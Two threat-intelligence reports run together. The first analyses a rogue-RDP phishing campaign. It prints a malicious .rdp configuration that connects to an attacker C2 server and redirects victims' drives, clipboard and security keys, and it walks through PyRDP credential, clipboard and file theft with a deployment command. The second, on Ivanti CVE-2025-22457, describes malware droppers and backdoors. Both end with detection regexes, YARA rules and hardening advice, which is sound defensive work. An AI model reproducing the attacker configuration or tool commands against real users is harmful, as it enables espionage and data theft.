# Connection information alternate full address:s:eu-southeast-1-aws[.]govtr[.]cloud full address:s:eu-southeast-1-aws[.]govtr[.]cloud # Resource Redirection drivestoredirect:s:* redirectprinters:i:1 redirectcomports:i:1 redirectsmartcards:i:1 redirectwebauthn:i:1 redirectclipboard:i:1 redirectposdevices:i:1 # RemoteApp Config remoteapplicationicon:s:C:\Windows\SystemApps\Microsoft.Windows. SecHealthUI_cw5n1h2txyewy\Assets\Health.contrast-white.ico remoteapplicationmode:i:1 remoteapplicationname:s:AWS Secure Storage Connection Stability Test v24091285697854 remoteapplicationexpandcmdline:i:0 remoteapplicationcmdline:s:%USERPROFILE% %COMPUTERNAME% %USERDNSDOMAIN% remoteapplicationprogram:s:||AWS Secure Storage Connection Stability Test v24091285697854 # Certificate Signing signature:s:AQABAAEAAABIDgAAMIIORAYJKoZIhvcNAQcCoIIONTCCDj ECAQExDzANBglghkgB ZQMEAgEFADALBgkqhkiG9w0BBwGggg1VMIID hzCCAw2gAwIBAgISBAM9zxvijMss qZQ1HI92Q29iMAoGCCqGSM49BA MDMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1M ZXQncyBFbmNye XB0MQswCQYDVQQDEwJFNTAeFw0yNDA5MjUxMzM1MjRaFw0yNDEy MjQxMzM1MjNaMBYxFDASBgNVBAMTC2dvdnRyLmNsb3VkMFkwEwY HKoZIzj0CAQYI KoZIzj0DAQcDQgAE9QvXN8RVmfGSaJf0nPJcFoWu8N whtD2/MJa+0N6k+7pn5XxS 2s74CVZ6alzVJhuRh3711HkOJ/NDZ1HgA 0IGtaOCAh0wggIZMA4GA1UdDwEB/wQE AwIHgDAdBgNVHSUEFjAUBg grBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw ADAdBgNVHQ 4EFgQUmlyAvqbyzuGLNNsbP3za+WwgrfwwHwYDVR0jBBgwFoAUnytf zzwhT50Et+0rLMTGcIvS1w0wVQYIKwYBBQUHAQEESTBHMCEGCCsG AQUFBzABhhVo dHRwOi8vZTUuby5sZW5jci5vcmcwIgYIKwYBBQUHM AKGFmh0dHA6Ly9lNS5pLmxl bmNyLm9yZy8wJQYDVR0RBB4wHIINK i5nb3Z0ci5jbG91ZIILZ292dHIuY2xvdWQw EwYDVR0gBAwwCjAIBgZng QwBAgEwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdwBI sONr2qZHNA/ lagL6nTDrHFIBy1bdLIHZu7+rOdiEcwAAAZIpml1hAAAEAwBIMEYC IQCpE8FeX9O+aQZBuhg0LrUcIpfZx9pojamHrrov9YJjSQIhAKBBEO2sSlX3Wxau c7p/xhzOfesiX4DnuCk57t...

Figure 3: .rdp file excerpt

When executed, this configuration file initiates an RDP connection to the malicious command-and-control (C2 or C&C) server eu-southeast-1-aws[.]govtr[.]cloud and redirects all drives, printers, COM ports, smart cards, WebAuthn requests (e.g., security key), clipboard, and point-of-sale (POS) devices to the C2 server.

The remoteapplicationmode parameter being set to 1 will switch the session from the “traditional” interactive GUI session to instead presenting the victim with only a part (application) of the RDP server. The RemoteApp, titled AWS Secure Storage Connection Stability Test v24091285697854, resides on the RDP server and is presented to the victim in a windowed popup. The icon used to represent this application (on the Windows taskbar for example) is defined by remoteapplicationicon. Windows environment variables %USERPROFILE%, %COMPUTERNAME%, and %USERDNSDOMAIN% are used as command-line arguments to the application. Due to the use of the property remoteapplicationexpandcmdline:i:0 , the Windows environment variables sent to the RDP server will be that of the client (aka victim), effectively performing initial reconnaissance upon connection.

Lastly, the signature property defines the encoded signature that signs the .rdp file. The signature used in this case was generated using Let’s Encrypt. Interestingly, the SSL certificate used to sign the file is issued for the domain the RDP connection is made to. For example, with SHA256: 1c1941b40718bf31ce190588beef9d941e217e6f64bd871f7aee921099a9d881.

Figure 4: Signature property within .rdp file

Tools like rdp_holiday can be used to decode the public certificate embedded within the file in Figure 4.

Figure 5: .rdp file parsed by rdp_holiday

The certificate is an SSL certificate issued for the domain the RDP connection is made to. This can be correlated with the RDP properties full_address / alternate_full_address.

alternate full address:s:eu-north-1-aws.ua-gov.cloud full address:s:eu-north-1-aws.ua-gov.cloud

Figure 6: Remote Address RDP Proprties

.rdp files targeting other victims also exhibited similar certificate behavior.

In legitimate scenarios, an organization could sign RDP connections with SSL certificates tied to their organization’s certificate authority. Additionally, an organization could also disable execution of .rdp files from unsigned and unknown publishers. The corresponding GPO can be found under Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client -> Allow .rdp files from unknown publishers.

Figure 7: GPO policy for disabling unknown and unsigned .rdp file execution

The policy in Figure 7 can optionally further be coupled with the “Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers” policy (within the same location) to add certificates as Trusted Publishers.

From an attacker’s perspective, existence of a signature allows the connection prompt to look less suspicious (i.e., without the usual yellow warning banner), as seen in Figure 8.

Figure 8: Connection prompt (source)

This RDP configuration approach is especially notable because it maps resources from both the adversary and victim machines: 

• This RemoteApp being presented resides on the adversary-controlled RDP server, not the client/victim machine. 

• The Windows environment variables are that of the client/victim that are forwarded to the RDP server as command-line arguments

• Victim file system drives are forwarded and accessible as remote shares on the RDP server. Only the drives accessible to the victim-user initiating the RDP connection are accessible to the RDP server. The RDP server by default has the ability to read and write to the victim’s file system drives

• Victim clipboard data is accessible to the RDP server. If the victim machine is running within a virtualized environment but shares its clipboard with the host machine in addition to the guest, the host’s clipboard will also be forwarded to the RDP server.

Keeping track of what activity happens on the victim and on the server in the case of an attacker-controlled RDP server helps assess the level of control the attacker has over the victim machine. A deeper understanding of the RDP protocol's functionalities, particularly those related to resource redirection and RemoteApp execution, is crucial for analyzing tools like PyRDP. PyRDP operates within the defined parameters of the RDP protocol, leveraging its features rather than exploiting vulnerabilities. This makes understanding the nuances of RDP essential for comprehending PyRDP's capabilities and potential impact. 

More information on RDP parameters can be found here and here.

Resource Redirection

The campaign’s .rdp configuration file set several RDP session properties for the purpose of resource redirection. 

RDP resource redirection enables the utilization of peripherals and devices connected to the local system within the remote desktop session, allowing access to resources such as:

• Printers

• Keyboards, mouse

• Drives (hard drives, CD/DVD drives, etc.)

• Serial ports

• Hardware keys like Yubico (via smartcard and WebAuthn redirection)

• Audio devices

• Clipboards (for copy-pasting between local and remote systems)

Resource redirection in RDP is facilitated through Microsoft's "virtual channels." The communication happens via special RDP packets, called protocol data packets (PDU), that mirror changes between the victim and attacker machine as long as the connection is active. More information on virtual channels and PDU structures can be found in MS-RDPERP.

Typically, virtual channels employ encrypted communication streams. However, PyRDP is capable of capturing the initial RDP handshake sequences and hence decrypting the RDP communication streams.

Figure 9: Victim’s mapped-drives as seen on an attacker’s RDP server

Remote Programs / RemoteApps

RDP has an optional feature called RemoteApp programs, which are applications (RemoteApps) hosted on the remote server that behave like a windowed application on the client system, which in this case is a victim machine. This can make a malicious remote app seem like a local application to the victim machine without ever having to touch the victim machine’s disk. 

Figure 10 is an example of the MS Paint application presented as a RemoteApp as seen by a test victim machine. The application does not exist on the victim machine but is presented to appear like a native application. Notice how there is no banner/top dock that indicates an RDP connection one would expect to see in an interactive session. The only indicator appears to be the RDP symbol on the taskbar.

Figure 10: RDP RemoteApp (MsPaint.exe) hosted on the RDP server, as seen on a test victim machine

All resources used by RemoteApp belong to that of the RDP server. Additionally, if victim drives are mapped to the RDP server, they are accessible by the RemoteApp as well.

PyRDP

While the use of a tool like PyRDP in this campaign cannot be confirmed, the automation capabilities it offers make it an attractive option worth diving deeper into. A closer look at PyRDP will illuminate how such a tool could be useful in this context.

PyRDP is an open-source, Python-based, man-in-the-middle (MiTM) RDP proxy toolkit designed for offensive engagements.

Figure 11: PyRDP as a MiTM tool

PyRDP operates by running on a host (MiTM server) and pointing it to a server running Windows RDP. Victims connect to the MiTM server with no indication of being connected to a relay server, while PyRDP seamlessly relays the connection to the final RDP server while providing enhanced capabilities over the connection, such as:

• Stealing NTLM hashes of the credentials used to authenticate to the RDP server

• Running commands on the RDP server after the user connects

• Capturing the user’s clipboard

• Enumerating mapped drives

• Stream, record (video format), and session takeover

It’s important to note that, from our visibility, PyRDP does not exploit vulnerabilities or expose a new weakness. Instead, PyRDP gives granular control to the functionalities native to the RDP protocol.

Password Theft

PyRDP is capable of stealing passwords, regardless of whether Network Level Authentication (NLA) is enabled. In the case NLA is enabled, it will capture the NTLM hash via the NLA as seen in Figure 12. It does so by interrupting the original RDP connection sequence and completing part of it on its own, thereby allowing it to capture hashed credentials. The technique works in a similar way to Responder. More information about how PyRDP does this can be found here.

Figure 12: RDP server user NTLMv2 Hashes recorded by PyRDP during user authentication

Alternatively, if NLA is not enabled, PyRDP attempts to scan the codes it receives when a user tries to authenticate and convert them into virtual key codes, thereby "guessing" the supplied password. The authors of the tool refer to this as their “heuristic method” of detecting passwords.

Figure 13: Plaintext password detection without NLA

When the user authenticates to the RDP server, PyRDP captures these credentials used to login to the RDP server. In the event the RDP server is controlled by the adversary (e.g., in this campaign), this feature does not add much impact since the credentials captured belong to the actor-controlled RDP server. This capability becomes impactful, however, when an attacker attempts an MiTM attack where the end server is not owned by them.

It is worth noting that during setup, PyRDP allows credentials to be supplied by the attacker. These credentials are then used to authenticate to the RDP server. By doing so, the user does not need to be prompted for credentials and is directly presented with the RemoteApp instead. In the campaign, given that the username RDP property was empty, the RDP server was attacker-controlled, and the RemoteApp seemed to be core to the storyline of the operation, we suspect a tool like PyRDP was used to bypass the user authentication prompt to directly present the AWS Secure Storage Connection Stability Test v24091285697854 RemoteApp to the victim.

Finally, PyRDP automatically captures the RDP challenge during connection establishment. This enables RDP packets to be decrypted if raw network captures are available, revealing more granular details about the RDP session.

Command Execution

PyRDP allows for commands to be executed on the RDP server. However, it does not allow for command execution on the victim’s machine. At the time of deployment, commands to be executed can be supplied to PyRDP in the following ways:

• MS-DOS (cmd.exe)

• PowerShell commands

• PowerShell scripts hosted on the PyRDP server file system

PyRDP executes the command by freezing/blocking the RDP session for a given amount of time, while the command executes in the background. To the user, it seems like the session froze. At the time of deploying the PyRDP MiTM server, the attacker specifies:

• What command to execute (in one of the aforementioned three ways)

• How long to block/freeze the user session for

• How long the command will take to complete

PyRDP is capable of detecting user connections and disconnections to RDP sessions. However, it lacks the ability to detect user authentication to the RDP server. As a user may connect to an RDP session without immediately proceeding to account login, PyRDP cannot determine authentication status, thus requiring the attacker to estimate a waiting period following user connection (and preceding authentication) before executing commands. It also requires the attacker to define the duration for which the session is to be frozen during command execution, since PyRDP has no way of knowing when the command completes. 

The example in Figure 14 relays incoming connections to an RDP server on 192.168.1.2. Upon connection, it then starts the calc.exe process on the RDP server 20 seconds after the user connects and freezes the user session for five seconds while the command executes.

sudo docker run -p 3389:3389 gosecure/pyrdp pyrdp-mitm 192.168.1.2 --payload "timeout 5 & start calc.exe" --payload-delay 20000 --payload-duration 5000

Figure 14: PyRDP deployment command

A clever attacker can use this capability of PyRDP to plant malicious files on a redirected drive, even though it cannot directly run it on the victim machine. This could facilitate dropping malicious files in locations that allow for further persistent access (e.g., via DLL-sideloading, malware in startup locations). Defenders can hunt for this activity by monitoring file creations originating from mstsc.exe. We'll dive deeper into practical detection strategies later in this post.

Clipboard Capture

PyRDP automatically captures the clipboard of the victim user for as long as the RDP connection is active. This is one point where the attacker’s control extends beyond the RDP server and onto the victim machine. 

Note that if a user connects from a virtual environment (e.g., VMware) and the host machine's clipboard is mapped to the virtual machine, it would also be forwarded to the RDP session. This can allow the attacker to capture clipboard content from the host and guest machine combined. 

Scraping/Browsing Client Files

With file redirection enabled, PyRDP can crawl the target system and save all or specified folders to the MiTM server if instructed at setup using the --crawl option. If the --crawl option is not specified at setup, PyRDP will still capture files, but only those accessed by the user during the RDP session, such as environment files. During an active connection, an attacker can also connect to the live stream and freely browse the target system's file system via the PyRDP-player GUI to download files (see Figure 15). 

It is worth noting that while PyRDP does not explicitly present the ability to place files on the victim’s mapped drives, the RDP protocol itself does allow it. Should an adversary misuse that capability, it would be outside the scope of PyRDP.

Stream/Capture/Intercept RDP Sessions

PyRDP is capable of recording RDP sessions for later playback. An attacker can optionally stream each intercepted connection and thereafter connect to the stream port to interact with the live RDP connection. The attacker can also take control of the RDP server and perform actions on the target system. When an attacker takes control, the RDP connection hangs for the user, similar to when commands are executed when a user connects. 

Streaming, if enabled with the -i option, defaults to TCP port 3000 (configurable). Live connections are streamed on a locally bound port, accessible via the included pyrdp-player script GUI. Upon completion of a connection, an .mp4 recording of the session can be produced by PyRDP.

Figure 15: Live session streaming GUI (source: DEF CON Safe Mode Demo Labs - Olivier Bilodeau - PyRDP)

Recommendations for Defenders

This section focuses on collecting forensic information, hardening systems, and developing detections for RDP techniques used in the campaign.

Security detections detailed in this section are already integrated into the Google SecOps Enterprise+ platform. In addition, Google maintains similar proactive measures to protect Gmail and Google Workspace users.

Log Artifacts Default Windows Machine

During testing, limited evidence was recovered on default Windows systems after drive redirection and RemoteApp interaction. In practice, it would be difficult to distinguish between a traditional RDP connection and one with drive redirection and/or RemoteApp usage on a default Windows system. From a forensic perspective, the following patterns are of moderate interest: 

• Creation of the following registry key upon connection, which gives insight into attacker server address and username used:

HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\ Microsoft\Terminal Server Client\Servers\<attacker_IP_Address> HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\ Microsoft\Terminal Server Client\Servers\<attacker_server>\UsernameHint: "<username used for connection>"

• The information contained in the Windows Event Logs (Microsoft-Windows-TerminalServices-RDPClient/Operational): 

• Event ID 1102: Logs attacker server IP address

• Event ID 1027: Logs attacker server domain name

• Event ID 1029: Logs username used to authenticate in format base64(sha256(username)).

Heightened Logging Windows Machine

With enhanced logging capabilities (e.g., Sysmon, Windows advanced audit logging, EDR), artifacts indicative of file write activity on the target system may be present. This was tested and validated using Sysmon file creation events (event ID 11). 

Victim system drives can be mapped to the RDP server via RDP resource redirection, enabling both read and write operations. Tools such as PyRDP allow for crawling and downloading the entire file directory of the target system. 

When files are written to the target system using RDP resource redirection, the originating process is observed to be C:\Windows\system32\mstsc.exe. A retrospective analysis of a large set of representative data consisting of enhanced logs indicates that file write events originating from mstsc.exe are a common occurrence but display a pattern that could be excluded from alerting. 

For example, multiple arbitrarily named terminal server-themed .tmp files following the regex pattern _TS[A-Z0-9]{4}\.tmp (e.g., _TS4F12.tmp) are written to the user’s %APPDATA%/Local/Temp directory throughout the duration of the connection.

EventType: FileCreation Parent Process: C:\Windows\System32\mstsc.exe Target Files: --> C:\Users\Spongebob\AppData\Local\Temp\_TS1D72.tmp --> C:\Users\Spongebob\AppData\Local\Temp\_TS7B73.tmp --> C:\Users\Spongebob\AppData\Local\Temp\_TS36B3.tmp

Additionally, several file writes and folder creations related to the protocol occur in the %APPDATA%/Local\Microsoft\Terminal Server Client directory. 

Depending upon the RDP session, excluding these protocol-specific file writes could help manage the number of events to triage and spot potentially interesting ones. It’s worth noting that the Windows system by default will delete temporary folders from the remote computer upon logoff. This does not apply to the file operations on redirected drives.

Should file read activity be enabled, mstsc.exe-originating file reads could warrant suspicion. It is worth noting that file-read events by nature are noisy due to the way the Windows subsystem operates. Caution should be taken before enabling it.

.rdp File via Email

The .rdp configuration file within the campaign was observed being sent as an email attachment. While it's not uncommon for IT administrators to send .rdp files over email, the presence of an external address in the attachment may be an indicator of compromise. The following regex patterns, when run against an organization’s file creation events, can indicate .rdp files being run directly from Outlook email attachments:

/\\AppData\\Local\\Microsoft\\Windows\\(INetCache|Temporary Internet Files) \\Content\.Outlook\\[A-Z0-9]{8}\\[^\\]{1,255}\.rdp$/ /\\AppData\\Local\\Packages\\Microsoft\.Outlook_[a-zA-Z0-9]{1,50}\\.{0,120} \\[^\\]{1,80}\.rdp$/ /\\AppData\\Local\\Microsoft\\Olk\\Attachments\\([^\\]{1,50}\\){0,5}[^\\] {1,80}\.rdp$/ System Hardening

The following options could assist with hardening enterprise environments against RDP attack techniques.

• Network-level blocking of outgoing RDP traffic to public IP addresses

• Disable resource redirection via the Registry

• Key: HKEY_LOCAL_MACHINE\Software\Microsoft\Terminal Server Client

• Type: REG_DWORD

• Value name: DisableDriveRedirection

• Value data: 1

• Configure granular RDP-policies via Group Policy

• Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client

• Allow .rdp files from unknown publishers: Setting this to disable will not allow users to run unsigned .rdp files as well as ones from untrusted publishers.

• Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers: A way to add certificate SHA1s as trusted file publishers

• Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Session Host: Policies on enable/disabling

• Resource redirection

• Clipboard redirection

• Forcing Network Level Authentication

• Time limits for active/idle connections

• Blocking .rdp file extension as email attachments

The applicability of these measures is subject to the nature of activity within a given environment and what is considered “normal” behavior.

YARA Rules

These YARA rules can be used to detect suspicious RDP configuration files that enable resource redirection and RemoteApps.

/* Detect RDP config files utilizing RemoteApp and ResourceRedirection */ rule G_Hunting_RDP_File_RemoteApp_ResourceRedir_1 { meta: author = "Google Threat Intelligence Group" description = "Detect RDP config files utilizing RemoteApp and resource redirection" strings: $rdp_param1 = "remoteapplicationmode:i:1" wide $rdp_param2 = "drivestoredirect:s:" wide $rdp_param3 = "remoteapplicationprogram:s:" wide $rdp_param4 = "remoteapplicationname:s:" wide condition: filesize < 20KB and (2 of ($rdp_param*)) } /* Detect RDP config files with a base64 LetsEncrypt certificate */ rule G_Hunting_RDP_File_LetsEncrypt_Signed_1 { meta: author = "Google Threat Intelligence Group" description = "Detects signed RDP configuration files that contain a base64 encoded LetsEncrypt certificate" strings: $rdp_param1 = "full address" wide $rdp_param2 = "redirectclipboard" wide $rdp_param3 = "remoteapplicationmode" wide $rdp_param4 = "compression" wide $rdp_param5 = "remoteapplicationexpandcmdline" wide $rdp_param6 = "promptcredentialonce" wide $rdp_param7 = "allow font smoothing" wide $rdp_param8 = "desktopheight" wide $rdp_param9 = "screen mode id" wide $rdp_param10 = "videoplaybackmode" wide $lets_encrypt_1 = "Let's Encrypt" base64wide $lets_encrypt_2 = "lencr.org" base64wide condition: filesize < 20KB and (any of ($lets_encrypt_*)) and (2 of ($rdp_param*)) } Final Thoughts

This campaign demonstrates how common tradecraft can be revitalized with alarming effectiveness through a modular approach. By combining mass emailing, resource redirection, and the creative sleight-of-hand use of RemoteApps, the actor could effectively leverage existing RDP techniques while leaving minimal forensic evidence. This combination of familiar techniques, deployed in an unconventional manner, proved remarkably effective, proving that the true danger of Rogue RDP lies not in the code, but in the con.

In this particular campaign, while control over the target system seems limited, the main capabilities revolve around file stealing, clipboard data capture, and access to environment variables. It is more likely this campaign was aimed at espionage and user manipulation during interaction. Lastly, this campaign once again underscores how readily available red teaming tools intended for education purposes are weaponized by malicious actors with harmful intentions.

Acknowledgments

Special thanks to: Van Ta, Steve Miller, Barry Vengerik, Lisa Karlsen, Andrew Thompson, Gabby Roncone, Geoff Ackerman, Nick Simonian, and Mike Stokkel. 

References 

• CERT-UA Campaign Post

• MS-RDPBCGR (Remote Desktop Protocol: Basic Connectivity and Graphics Remoting)

• MS-RDPERP (Remote Desktop Protocol: Remote Programs Virtual Channel Extension)

• MS-RDPECLIP (Remote Desktop Protocol: Clipboard Virtual Channel Extension)

• MS-RDPEFS (Remote Desktop Protocol: File System Virtual Channel Extension)

• RDP Properties (Microsoft)

• RDP Properties (donkz.nl)

• Rogue RDP – Revisiting Initial Access Methods (Black Hills Information Security)

• PyRDP GitHub

Written by: John Wolfram, Michael Edie, Jacob Thompson, Matt Lin, Josh Murchie

On Thursday, April 3, 2025, Ivanti disclosed a critical security vulnerability, CVE-2025-22457, impacting Ivanti Connect Secure (“ICS”) VPN appliances version 22.7R2.5 and earlier. CVE-2025-22457 is a buffer overflow vulnerability, and successful exploitation would result in remote code execution. Mandiant and Ivanti have identified evidence of active exploitation in the wild against ICS 9.X (end of life) and 22.7R2.5 and earlier versions. Ivanti and Mandiant encourage all customers to upgrade as soon as possible. 

The earliest evidence of observed CVE-2025-22457 exploitation occurred in mid-March 2025. Following successful exploitation, we observed the deployment of two newly identified malware families, the TRAILBLAZE in-memory only dropper and the BRUSHFIRE passive backdoor. Additionally, deployment of the previously reported SPAWN ecosystem of malware attributed to UNC5221 was also observed. UNC5221 is a suspected China-nexus espionage actor that we previously observed conducting zero-day exploitation of edge devices dating back to 2023.

A patch for CVE-2025-22457 was released in ICS 22.7R2.6 on February 11, 2025. The vulnerability is a buffer overflow with a limited character space, and therefore it was initially believed to be a low-risk denial-of-service vulnerability. We assess it is likely the threat actor studied the patch for the vulnerability in ICS 22.7R2.6 and uncovered through a complicated process, it was possible to exploit 22.7R2.5 and earlier to achieve remote code execution.

Ivanti released patches for the exploited vulnerability and Ivanti customers are urged to follow the actions in the Security Advisory to secure their systems as soon as possible.

Post-Exploitation Tactics, Techniques, and Procedures

Following successful exploitation, Mandiant observed the deployment of two newly identified malware families tracked as TRAILBLAZE and BRUSHFIRE through a shell script dropper. Mandiant has also observed the deployment of the SPAWN ecosystem of malware. Additionally, similar to previously observed behavior, the actor attempted to modify the Integrity Checker Tool (ICT) in an attempt to evade detection.  

Shell-script Dropper

Following successful exploitation of CVE-2025-22457, Mandiant observed a shell script being leveraged that executes the TRAILBLAZE dropper. This dropper injects the BRUSHFIRE passive backdoor into a running /home/bin/web process. The first stage begins by searching for a /home/bin/web process that is a child process of another /home/bin/web process (the point of this appears to be to inject into the web process that is actually listening for connections). It then creates the the following files and associated content:

• /tmp/.p: contains the PID of the /home/bin/web process.

• /tmp/.m: contains a memory map of that process (human-readable).

• /tmp/.w: contains the base address of the web binary from that process

• /tmp/.s: contains the base address of libssl.so from that process

• /tmp/.r: contains the BRUSHFIRE passive backdoor

• /tmp/.i: contains the TRAILBLAZE dropper

The shell script then executes /tmp/.i, which is the second stage in-memory only dropper tracked as TRAILBLAZE. It then deletes all of the temporary files previously created (except for /tmp/.p), as well as the contents of the /data/var/cores directory. Next, all child processes of the /home/bin/web process are killed and the /tmp/.p file is deleted. All of this behavior is non-persistent, and the dropper will need to be re-executed if the system or process is rebooted.

TRAILBLAZE

TRAILBLAZE is an in-memory only dropper written in bare C that uses raw syscalls and is designed to be as minimal as possible, likely to ensure it can fit within the shell script as Base64. TRAILBLAZE injects a hook into the identified /home/bin/web process. It will then inject the BRUSHFIRE passive backdoor into a code cave inside that process.

BRUSHFIRE

BRUSHFIRE is a passive backdoor written in bare C that acts as an SSL_read hook. It first executes the original SSL_read function, and checks to see if the returned data begins with a specific string. If the data begins with the string, it will XOR decrypt then execute shellcode contained in the data. If the received shellcode returns a value, the backdoor will call SSL_write to send the value back.

SPAWNSLOTH

As detailed in our previous blog post, SPAWNSLOTH acts as a log tampering component tied to the SPAWNSNAIL backdoor. It targets the dslogserver process to disable both local logging and remote syslog forwarding.

SPAWNSNARE

SPAWNSNARE is a utility that is written in C and targets Linux. It can be used to extract the uncompressed linux kernel image (vmlinux) into a file and encrypt it using AES without the need for any command line tools.

SPAWNWAVE

SPAWNWAVE is an evolved version of SPAWNANT that combines capabilities from other members of the SPAWN* malware ecosystem. SPAWNWAVE overlaps with the publicly reported SPAWNCHIMERA and RESURGE malware families.

Attribution

Google Threat Intelligence Group (GTIG) attributes the exploitation of CVE-2025-22457 and the subsequent deployment of the SPAWN ecosystem of malware to the suspected China-nexus espionage actor UNC5221. GTIG has previously reported UNC5221 conducting zero-day exploitation of CVE-2025-0282, as well as the exploitation CVE-2023-46805 and CVE-2024-21887. 

Furthermore, GTIG has also previously observed UNC5221 conducting zero-day exploitation of CVE-2023-4966, impacting NetScaler ADC and NetScaler Gateway appliances. UNC5221 has targeted a wide range of countries and verticals during their operations, and has leveraged an extensive set of tooling, spanning passive backdoors to trojanized legitimate components on various edge appliances. 

GTIG assesses that UNC5221 will continue pursuing zero-day exploitation of edge devices based on their consistent history of success and aggressive operational tempo. Additionally, as noted in our prior blog post detailing CVE-2025-0282 exploitation, GTIG has observed UNC5221 leveraging an obfuscation network of compromised Cyberoam appliances, QNAP devices, and ASUS routers to mask their true source during intrusion operations.

Conclusion

This latest activity from UNC5221 underscores the ongoing sophisticated threats targeting edge devices globally. This campaign, exploiting the n-day vulnerability CVE-2025-22457, also highlights the persistent focus of actors like UNC5221 on edge devices, leveraging deep device knowledge and adding to their history of using both zero-day and now n-day flaws. This activity aligns with the broader strategy GTIG has observed among suspected China-nexus espionage groups who invest significantly in exploits and custom malware for critical edge infrastructure.

Recommendations 

Mandiant recommends organizations immediately apply the available patch by upgrading Ivanti Connect Secure (ICS) appliances to version 22.7R2.6 or later to address CVE-2025-22457. Additionally organizations should use the external and internal Integrity Checker Tool (“ICT”) and contact Ivanti Support if suspicious activity is identified. To supplement this, defenders should actively monitor for core dumps related to the web process, investigate ICT statedump files, and conduct anomaly detection of client TLS certificates presented to the appliance.

Acknowledgements

We would like to thank Daniel Spicer and the rest of the team at Ivanti for their continued partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE, we would like to specifically thank Christopher Gardner and Dhanesh Kizhakkinan of FLARE for their support.

Indicators of Compromise

To assist the security community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Code Family

MD5

Filename

Description

TRAILBLAZE

4628a501088c31f53b5c9ddf6788e835

/tmp/.i

In-memory dropper

BRUSHFIRE

e5192258c27e712c7acf80303e68980b

/tmp/.r

Passive backdoor

SPAWNSNARE

6e01ef1367ea81994578526b3bd331d6

/bin/dsmain

Kernel extractor & encryptor

SPAWNWAVE

ce2b6a554ae46b5eb7d79ca5e7f440da

/lib/libdsupgrade.so

Implant utility

SPAWNSLOTH

10659b392e7f5b30b375b94cae4fdca0

/tmp/.liblogblock.so

Log tampering utility

YARA Rules rule M_APT_Installer_SPAWNANT_1 { meta: author = "Mandiant" description = "Detects SPAWNANT. SPAWNANT is an Installer targeting Ivanti devices. Its purpose is to persistently install other malware from the SPAWN family (SPAWNSNAIL, SPAWNMOLE) as well as drop additional webshells on the box." strings: $s1 = "dspkginstall" ascii fullword $s2 = "vsnprintf" ascii fullword $s3 = "bom_files" ascii fullword $s4 = "do-install" ascii $s5 = "ld.so.preload" ascii $s6 = "LD_PRELOAD" ascii $s7 = "scanner.py" ascii condition: uint32(0) == 0x464c457f and 5 of ($s*) } rule M_Utility_SPAWNSNARE_1 { meta: author = "Mandiant" description = "SPAWNSNARE is a utility written in C that targets Linux systems by extracting the uncompressed Linux kernel image into a file and encrypting it with AES." strings: $s1 = "\x00extract_vmlinux\x00" $s2 = "\x00encrypt_file\x00" $s3 = "\x00decrypt_file\x00" $s4 = "\x00lbb_main\x00" $s5 = "\x00busybox\x00" $s6 = "\x00/etc/busybox.conf\x00" condition: uint32(0) == 0x464c457f and all of them } rule M_APT_Utility_SPAWNSLOTH_2 { meta: author = "Mandiant" description = "Hunting rule to identify strings found in SPAWNSLOTH" strings: $dslog = "dslogserver" ascii fullword $hook1 = "g_do_syslog_servers_exist" ascii fullword $hook2 = "ZN5DSLog4File3addEPKci" ascii fullword $hook3 = "funchook" ascii fullword condition: uint32(0) == 0x464c457f and all of them }